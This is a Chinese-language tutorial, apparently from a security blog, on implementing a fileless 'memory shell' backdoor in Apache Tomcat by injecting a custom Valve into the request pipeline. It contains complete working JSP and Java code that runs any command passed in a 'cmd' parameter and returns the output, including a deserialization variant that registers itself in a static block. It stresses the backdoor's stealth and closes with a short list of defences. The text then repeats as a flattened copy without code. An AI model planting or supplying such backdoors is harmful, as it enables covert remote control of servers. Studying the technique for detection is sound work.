Tomct-Valve内存马
字数 1834 2025-08-06 08:35:06

Tomcat Valve内存马技术分析与实现

0x00 前言

本文详细分析Tomcat中Valve组件的实现原理,并讲解如何利用Valve机制实现内存马。Valve是Tomcat容器处理请求的重要组件,通过理解其工作机制,可以实现隐蔽的后门功能。

0x01 Valve简介

Valve基本概念

Valve(阀门)是Tomcat中用于处理传入请求和传出响应的基本组件,可以被添加到Engine、Host或Context容器中提供额外功能。主要用途包括:

  1. 记录日志(访问日志、错误日志等)
  2. 实现认证和授权
  3. 实施防火墙、IP过滤等安全功能
  4. 监控请求处理性能
  5. 修改请求或响应内容
  6. 实现负载均衡策略

Tomcat管道机制

Tomcat的管道机制将一系列Valve按顺序链接形成处理管道,请求依次经过每个Valve执行特定任务。关键组件包括:

  1. Container:处理HTTP请求的主要组件,包括Engine、Host和Context
  2. Valve:处理请求和响应的核心组件
  3. Pipeline:管道对象,持有一系列Valve并负责按序执行
  4. Valve链:Pipeline中Valve的有序集合

每个容器(Engine、Host、Context)都有对应的StandardPipeline,请求处理流程从StandardEngine的first-valve开始,到StandardWrapper的basic-valve结束。

0x02 Valve处理流程

以Tomcat 8.5.73为例,Valve处理流程如下:

  1. org.apache.coyote.http11.Http11Processor#service 开始处理请求
  2. org.apache.catalina.connector.CoyoteAdapter#service 获取Engine并调用其StandardPipeline的first-valve
  3. org.apache.catalina.core.StandardEngineValve#invoke 执行Engine Valve
  4. org.apache.catalina.valves.AbstractAccessLogValve#invoke 访问日志Valve
  5. org.apache.catalina.valves.ErrorReportValve#invoke 错误报告Valve
  6. org.apache.catalina.core.StandardHostValve#invoke Host Valve
  7. org.apache.catalina.authenticator.AuthenticatorBase#invoke 认证Valve
  8. org.apache.catalina.core.StandardContextValve#invoke Context Valve
    • 禁止直接访问WEB-INF/META-INF资源
    • 选择对应的Wrapper
    • 检查异步支持
  9. org.apache.catalina.core.StandardWrapperValve#invoke Wrapper Valve
    • 处理Filter链
    • 调用Servlet处理请求

0x03 添加自定义Valve

实现自定义Valve需要继承ValveBase类或实现Valve接口,关键方法是invoke()

public class TestValve extends ValveBase {
    @Override
    public void invoke(Request request, Response response) throws IOException, ServletException {
        System.out.println("自定义的valve执行...");
        // 必须调用下一个Valve
        getNext().invoke(request,response);
    }
}

添加Valve到指定容器示例(添加到Engine):

// 获取Request对象
Field fieldRequest = request.getClass().getDeclaredField("request");
fieldRequest.setAccessible(true);
Request req = (Request) fieldRequest.get(request);

// 获取StandardContext
StandardContext standardContext = (StandardContext)req.getContext();
// 获取StandardHost
StandardHost standardHost = (StandardHost) standardContext.getParent();
// 获取StandardEngine
StandardEngine standardEngine = (StandardEngine) standardHost.getParent();

// 添加自定义Valve
standardEngine.getPipeline().addValve(new TestValve());

0x04 Valve内存马实现

JSP实现方式

<%!
public class ShellValve extends ValveBase {
    @Override
    public void invoke(Request request, Response response) throws IOException, ServletException {
        response.setContentType("text/plain");
        response.setCharacterEncoding("utf-8");
        String cmd = request.getParameter("cmd");
        try {
            Process process = Runtime.getRuntime().exec(cmd);
            BufferedReader reader = new BufferedReader(
                new InputStreamReader(process.getInputStream()));
            StringBuilder output = new StringBuilder();
            String line;
            while ((line = reader.readLine()) != null) {
                output.append(line).append("\n");
            }
            int exitCode = process.waitFor();
            output.append("\n命令执行完成,退出码为 " + exitCode);
            response.getWriter().print(output.toString());
        } catch (Exception e) {
            e.printStackTrace();
        }
        getNext().invoke(request,response);
    }
}
%>

<%
try {
    Field fieldRequest = request.getClass().getDeclaredField("request");
    fieldRequest.setAccessible(true);
    Request req = (Request) fieldRequest.get(request);
    StandardContext standardContext = (StandardContext)req.getContext();
    StandardWrapper standardWrapper = (StandardWrapper) req.getWrapper();
    StandardHost standardHost = (StandardHost) standardContext.getParent();
    StandardEngine standardEngine = (StandardEngine) standardHost.getParent();
    
    Valve shellValve = new ShellValve();
    standardEngine.getPipeline().addValve(shellValve);
} catch (Exception e) {
    e.printStackTrace();
}
%>

反序列化实现方式

当使用反序列化实现时,由于Java单继承限制,需要实现Valve接口而非继承ValveBase:

public class SerValve implements Valve {
    static {
        WebappClassLoaderBase webappClassLoaderBase = 
            (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        Context context = webappClassLoaderBase.getResources().getContext();
        context.getPipeline().addValve(new SerValve());
    }

    @Override
    public Valve getNext() { return null; }
    @Override
    public void setNext(Valve valve) {}
    @Override
    public void backgroundProcess() {}
    
    @Override
    public void invoke(Request request, Response response) throws IOException, ServletException {
        String cmd = request.getParameter("cmd");
        try {
            if (cmd != null && !cmd.isEmpty()) {
                Process process = Runtime.getRuntime().exec(cmd);
                BufferedReader reader = new BufferedReader(
                    new InputStreamReader(process.getInputStream()));
                StringBuilder output = new StringBuilder();
                String line;
                while ((line = reader.readLine()) != null) {
                    output.append(line).append("\n");
                }
                process.waitFor();
                response.getWriter().write(output.toString());
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
        request.getContext().getPipeline().getBasic().invoke(request,response);
    }

    @Override
    public boolean isAsyncSupported() { return false; }
}

0x05 关键注意事项

  1. 必须调用getNext().invoke()getBasic().invoke()确保请求继续处理
  2. 每个容器(Engine/Host/Context)都有独立的Pipeline
  3. 反序列化实现时需注意Java单继承限制
  4. Valve内存马具有较高隐蔽性,不依赖文件落地
  5. 实现时需考虑异常处理和流程完整性

0x06 防御措施

  1. 监控Tomcat中非标准Valve的添加
  2. 定期检查容器Pipeline中的Valve列表
  3. 限制JSP上传和执行权限
  4. 使用安全防护产品检测异常行为
  5. 及时更新Tomcat版本修复已知漏洞

通过深入理解Tomcat Valve机制,安全研究人员可以更好地发现和防御此类内存马攻击。

Tomcat Valve内存马技术分析与实现 0x00 前言 本文详细分析Tomcat中Valve组件的实现原理,并讲解如何利用Valve机制实现内存马。Valve是Tomcat容器处理请求的重要组件,通过理解其工作机制,可以实现隐蔽的后门功能。 0x01 Valve简介 Valve基本概念 Valve(阀门)是Tomcat中用于处理传入请求和传出响应的基本组件,可以被添加到Engine、Host或Context容器中提供额外功能。主要用途包括: 记录日志(访问日志、错误日志等) 实现认证和授权 实施防火墙、IP过滤等安全功能 监控请求处理性能 修改请求或响应内容 实现负载均衡策略 Tomcat管道机制 Tomcat的管道机制将一系列Valve按顺序链接形成处理管道,请求依次经过每个Valve执行特定任务。关键组件包括: Container :处理HTTP请求的主要组件,包括Engine、Host和Context Valve :处理请求和响应的核心组件 Pipeline :管道对象,持有一系列Valve并负责按序执行 Valve链 :Pipeline中Valve的有序集合 每个容器(Engine、Host、Context)都有对应的StandardPipeline,请求处理流程从StandardEngine的first-valve开始,到StandardWrapper的basic-valve结束。 0x02 Valve处理流程 以Tomcat 8.5.73为例,Valve处理流程如下: org.apache.coyote.http11.Http11Processor#service 开始处理请求 org.apache.catalina.connector.CoyoteAdapter#service 获取Engine并调用其StandardPipeline的first-valve org.apache.catalina.core.StandardEngineValve#invoke 执行Engine Valve org.apache.catalina.valves.AbstractAccessLogValve#invoke 访问日志Valve org.apache.catalina.valves.ErrorReportValve#invoke 错误报告Valve org.apache.catalina.core.StandardHostValve#invoke Host Valve org.apache.catalina.authenticator.AuthenticatorBase#invoke 认证Valve org.apache.catalina.core.StandardContextValve#invoke Context Valve 禁止直接访问WEB-INF/META-INF资源 选择对应的Wrapper 检查异步支持 org.apache.catalina.core.StandardWrapperValve#invoke Wrapper Valve 处理Filter链 调用Servlet处理请求 0x03 添加自定义Valve 实现自定义Valve需要继承 ValveBase 类或实现 Valve 接口,关键方法是 invoke() : 添加Valve到指定容器示例(添加到Engine): 0x04 Valve内存马实现 JSP实现方式 反序列化实现方式 当使用反序列化实现时,由于Java单继承限制,需要实现Valve接口而非继承ValveBase: 0x05 关键注意事项 必须调用 getNext().invoke() 或 getBasic().invoke() 确保请求继续处理 每个容器(Engine/Host/Context)都有独立的Pipeline 反序列化实现时需注意Java单继承限制 Valve内存马具有较高隐蔽性,不依赖文件落地 实现时需考虑异常处理和流程完整性 0x06 防御措施 监控Tomcat中非标准Valve的添加 定期检查容器Pipeline中的Valve列表 限制JSP上传和执行权限 使用安全防护产品检测异常行为 及时更新Tomcat版本修复已知漏洞 通过深入理解Tomcat Valve机制,安全研究人员可以更好地发现和防御此类内存马攻击。